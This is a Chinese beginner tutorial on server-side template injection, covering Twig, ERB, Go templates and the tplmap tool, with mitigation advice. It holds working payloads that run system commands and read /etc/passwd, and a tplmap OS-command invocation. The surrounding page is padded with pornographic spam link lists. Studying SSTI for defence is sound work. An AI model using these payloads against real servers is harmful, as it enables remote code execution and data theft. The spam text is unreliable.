日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

适合小白学的基础知识—SSTI漏洞学习

發布時間:2025/3/21 编程问答 21 豆豆
生活随笔 收集整理的這篇文章主要介紹了 适合小白学的基础知识—SSTI漏洞学习 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

SSTI 簡介

MVC
MVC是一種框架型模式,全名是Model View Controller。

即模型(model)-視圖(view)-控制器(controller)
在MVC的指導下開發中用一種業務邏輯、數據、界面顯示分離的方法組織代碼,將業務邏輯聚集到一個部件里面,在改進和個性化定制界面及用戶交互的同時,得到更好的開發和維護效率。

在MVC框架中,用戶的輸入通過 View 接收,交給 Controller ,然后由 Controller 調用 Model 或者其他的 Controller 進行處理,最后再返回給 View ,這樣就最終顯示在我們的面前了,那么這里的 View 中就會大量地用到一種叫做模板的技術。

繞過服務端接收了用戶的惡意輸入以后,未經任何處理就將其作為 Web 應用模板內容的一部分,而模板引擎在進行目標編譯渲染的過程中,執行了用戶插入的可以破壞模板的語句,就會導致敏感信息泄露、代碼執行、GetShell 等問題.

雖然市面上關于SSTI的題大都出在python上,但是這種攻擊方式請不要認為只存在于 Python 中,凡是使用模板的地方都可能會出現 SSTI 的問題,SSTI 不屬于任何一種語言。

常見的模板引擎和注入漏洞

Twig(PHP)
首先以Twig模板引擎介紹SSTI,很多時候,SSTI發生在直接將用戶輸入作為模板,比如下面的代碼

<?php require_once "./vendor/autoload.php";$loader = new \Twig\Loader\ArrayLoader(['index' => 'Hello {{ name }}!', ]); $twig = new \Twig\Environment($loader);$template = $twig->createTemplate("Hello {$_GET['name']}!");echo $template->render();

createTemplate時注入了$_GET[‘name’],就會引發SSTI

而如下代碼則不會,因為模板引擎解析的是字符串常量中的{{name}},而不是動態拼接的$_GET[“name”]

<?php require_once "./vendor/autoload.php";$loader = new \Twig\Loader\ArrayLoader(['index' => 'Hello {{ name }}!', ]); $twig = new \Twig\Environment($loader);echo $twig->render('index', array("name" => $_GET["name"]));

而對于模板引擎的利用,往往是借助模板中的一些方法實現攻擊目的,比如Twig中的過濾器map

舉個經典的例子

{{[“man”]|map((arg)=>“hello #{arg}”)}}
會被編譯成下面這樣

twig_array_map([0 => “id”], function (KaTeX parse error: Expected group after '_' at position 1: _?_arg__) use (context, $macros) { $context[“arg”] = KaTeX parse error: Expected group after '_' at position 1: _?_arg__; return …context[“arg”] ?? null))

關于這個twig_array_map,源碼中是這樣的

可以看到傳入的$arrow被當作函數執行,那么可以不傳arrow function,可以只傳一個字符串,找個兩個參數的能夠命令執行的危險函數即可

比如

{{["id"]|map("system")|join(",")}} {{["phpinfo();"]|map("assert")|join(",")}} {{["id", 0]|map("passthru")}}

類似的,我們還可以找到一些其他的過濾器sort,filiter,網上也有較多介紹,就不再贅述了。

當然,SSTI還有一種基礎的利用方式就是用來泄露源碼和程序環境中的上下文信息,在Twig引擎中,我們可以通過下面方法獲得一些關于當前應用的信息

{{_self}} #指向當前應用 {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}}

ERB(Ruby)

相較于Twig,ERB的代碼直接提供了一些命令執行的接口,比如

<%= system("whoami") %> <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %>

這里提起他主要是引出模板標簽的一些分類

比如這里的ERB模板標簽使用<%= %>,Twig使用{{}},根據一些簡單的poc和標簽的分類,我們可以快速識別出是否存在模板漏洞以及所使用的模板引擎技術

當然有些模板引擎的標簽是可以自定義的,上面列出的只是默認情況

Golang SSTI

關于Golang Template的SSTI研究目前來說還比較少,可能是因為本身設計的也比較安全。

不過通過{{.}}我們可以獲得到作用域

比如在下面這個例子中

package mainimport ("html/template""net/http" )func handler(w http.ResponseWriter, r *http.Request) {//var name = ""r.ParseForm() // Parses the request bodyx := r.Form.Get("name")var test map[string]interface{}test = make(map[string]interface{})var secret map[string]interface{}secret = make(map[string]interface{})flag := "flag{testflag}"secret["flag"] = &flagtest["secret"] = secretvar tmpl = `<!DOCTYPE html><html><body> <form action="/" method="post">First name:<br> <input type="text" name="name" value=""> <input type="submit" value="Submit"> </form><p>` + x + ` </p></body></html>`t := template.New("main") //name of the template is maint, _ = t.Parse(tmpl) // parsing of template stringt.Execute(w, test) }func main() {server := http.Server{Addr: "0.0.0.0:5090",}http.HandleFunc("/", handler)server.ListenAndServe() }

可以獲取到作用域對象

進一步可以獲得flag

甚至如果在作用域中存在可以利用的函數,我們還可以調用該函數完成攻擊,比如

type User struct {ID intEmail stringPassword string }func (u User) System(test string) string {out, _ := exec.Command(test).CombinedOutput()return string(out) }

就有

Flask/Jinja
這個引擎應該是出鏡率最高的了,能寫的東西也很多,由于篇幅所限,具體內容會在(下)中展開記錄。

常用檢測工具 Tplmap

工具地址:https://github.com/epinna/tplmap

和sqlmap的設計風格一致,直接懟就行

/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'

總結

SSTI在MVC架構中是經常出現的一類問題,除去本文中介紹的幾個引擎,還有許多受影響的引擎,比如Velocity 等。該問題主要是由于開發者直接將用戶輸入作為模板交給模板引擎渲染導致的,將用戶輸入綁定到模板的參數中可以緩解這一問題。通過SSTI,我們往往可以獲取到程序運行的上下文環境,甚至利用模板引擎的內置方法完成遠程代碼注入等高危攻擊。

我整理了網絡安全的學習資料與指導書籍

吃碗面壓壓驚

總結

以上是生活随笔為你收集整理的适合小白学的基础知识—SSTI漏洞学习的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: xxxx 国产| 中国黄色a级 | 色小妹av| 在线视频麻豆 | av老司机在线 | 成人做爰的视频 | 日韩福利片在线观看 | 爱爱免费小视频 | 97人妻一区二区精品免费视频 | 日韩在线免费观看视频 | 黄色网日本 | 色污网站 | 色视频综合 | 污污视频在线观看免费 | 熟妇人妻无码xxx视频 | 日韩一级久久 | 国产黄色av片 | av操操 | 亚洲一区二区三区播放 | 国产乱码在线 | 女人被男人操 | 国产又粗又黄又爽又硬的视频 | 星空大象在线观看免费播放 | 青草精品在线 | 999xxxxx | av鲁丝一区二区鲁丝 | 国产精品扒开腿做爽爽爽a片唱戏 | 成人在线毛片 | 大尺度叫床戏做爰视频 | 日韩精品视频在线 | 日韩av中文字幕在线免费观看 | 999色综合 | 成年人免费av| 亚洲天堂视频在线 | 中文字幕视频网站 | 欧美 亚洲 一区 | 一区二区三区高清 | 一级全黄少妇性色生活片 | 免费一级片网站 | 成人资源在线 | 久久久久久久久免费看无码 | 国产污在线观看 | 国产9区| 日本a级无毛 | 亚洲成年人网 | 妞干网这里只有精品 | 天天躁日日躁bbbbb | 性欢交69精品久久久 | 色婷婷久久综合中文久久蜜桃av | 69xxx免费视频 | 草草浮力影院 | 在线观看黄色片网站 | 99视频精品 | 爱插美女网 | 69看片| 极品销魂美女少妇尤物 | 四虎影视库 | 久久精品成人一区二区三区蜜臀 | 日韩视频一区二区三区在线播放免费观看 | 国产精品一区二区在线观看 | 一级免费看 | 国产一区二区三区小说 | 亚洲图片欧美日韩 | 国产高清精品在线 | 国产91看片 | 丁香综合| 国产精品一区二区免费看 | 天天摸夜夜 | 国产又黄又粗又长 | 麻豆视频在线免费观看 | 91天堂在线视频 | 日韩精品一卡 | 亚洲一区二区三区加勒比 | 91福利网址 | 国产良妇出轨视频在线观看 | 夜晚福利 | 欧美另类在线观看 | 男人的天堂网在线 | www.欧美一区二区三区 | 欧美性受xxxx黒人xyx性爽 | 天天综合亚洲 | 亚洲av无码一区二区三区观看 | 免费在线观看黄色 | 欧美性大战久久久久久 | 日韩视频精品 | 操操网| 国产精选在线观看 | 久久精品国产亚洲av久一一区 | 欢乐谷在线观看免费播放高清 | 狠狠搞av| 国产精品久久不卡 | 在线观看欧美 | 欧美激情一二区 | 青草视频在线观看免费 | 俺来也俺也啪www色 欧洲一区二区视频 | 日韩人妻无码精品久久免费 | 黄色成人在线网站 | 色播开心网 | 国产超碰自拍 |